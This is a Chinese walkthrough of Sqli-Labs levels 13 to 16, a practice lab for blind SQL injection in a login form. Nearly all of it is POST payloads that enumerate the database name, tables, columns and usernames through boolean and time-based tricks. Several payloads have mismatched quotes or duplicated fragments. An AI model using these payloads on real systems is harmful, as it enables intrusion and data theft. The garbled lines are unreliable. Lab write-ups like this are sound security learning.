Sqli-Labs less13-16

less-13

首先,输入用户名和密码,发现只有成功和失败两种显示,没有数据回显:

Sqli-Labs less13-16

Sqli-Labs less13-16

 

然后我们抓包拿到数据:

Sqli-Labs less13-16

 

 

我们通过上述观察,已经知道这是典型的盲注,可以采用布尔盲注或者时间盲注。

构造注入语句:uname=a&passwd=a') or 1=1#&submit=Submit

Sqli-Labs less13-16

 

 猜解列:uname=a&passwd=a') order by 3 #&submit=Submit

Sqli-Labs less13-16

 

 uname=a&passwd=a') order by 2 #&submit=Submit

Sqli-Labs less13-16

 

 数据库名的长度判断:uname=a&passwd=a') or if(length(database())=8,1,sleep(5)) #&submit=Submit,根据返回的时间长度判断为8

Sqli-Labs less13-16

 

 判断数据库的第一个字母:uname=a&passwd=a') or  left(database(),1)='s'#&submit=Submit #&submit=Submit

Sqli-Labs less13-16 

判断第二个字母:uname=a&passwd=a') or  left(database(),2)='se'#&submit=Submit #&submit=Submit

Sqli-Labs less13-16

 

 然后其他省略

查表:uname=a&passwd=a') or  left((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1)='e'#&submit=Submit #&submit=Submit

我们可以用上面的盲注办法,同样我们可以用burp暴力破解的办法,前面的关卡已经有讲解,方法比较简单,座椅在此不再赘述。

 

less-14

14关和13关完全相同,只是数据包裹的格式变为“”,步骤完全相同,参考上面

uname=admin&passwd=a“ or if(length(database())=8,1,sleep(5))# #&submit=Submit 使用和less-13同样的方法进行判断

 

 

less-15

15关也和前两关相同,只是数据包裹的格式变为‘’,步骤完全相同,参考上面

这写下步骤代码(其实和上面一样):

1. uname=admin&passwd=a“&submit=Submit 构造:1‘ or 1=1# 在这里判断列数没有实际意义了

2. uname=adminadmin&passwd=admiand' or if(length(database())>1000,1,sleep(5))#&submit=Submit通过这个来判断其长度

3. uname=adminadmin&passwd=admiand' or if(length()>1000,1,sleep(5))#&submit=Submit

4. uname=adminadmin&passwd=admiand‘ or left((select table_name from information_schema.tables where table_schema=’security‘ limit 0,1),1)>’a‘#&submit=Submit 使用和less-13相同的方法进行判断,就可以判断出当前security库的第一个表的第一个字母是否大于a

5. uname=adminadmin&passwd=admiand‘ or left((select column_name from information_schema.columns where table_name=’users‘ limit 0,1),1)>’g‘#&submit=Submit 通过同样的方法可以判断users表中的字段数据是否大于g

6. uname=adminadmin&passwd=admiand‘ or left((select username from security.users limit 0,1),1)> ’a‘#&submit=Submit通过这个来判断security.users下的username下第一个字段的第一位,在这里不能直接使用select username,password来一起查询,需要一个个进行查询

 

 

less-16

16关也和前两关相同,只是数据包裹的格式变为(“”),步骤完全相同,参考上面

上一篇:Java线程池理解


下一篇:我是如何分析io_submit 出现无效描述符的错误的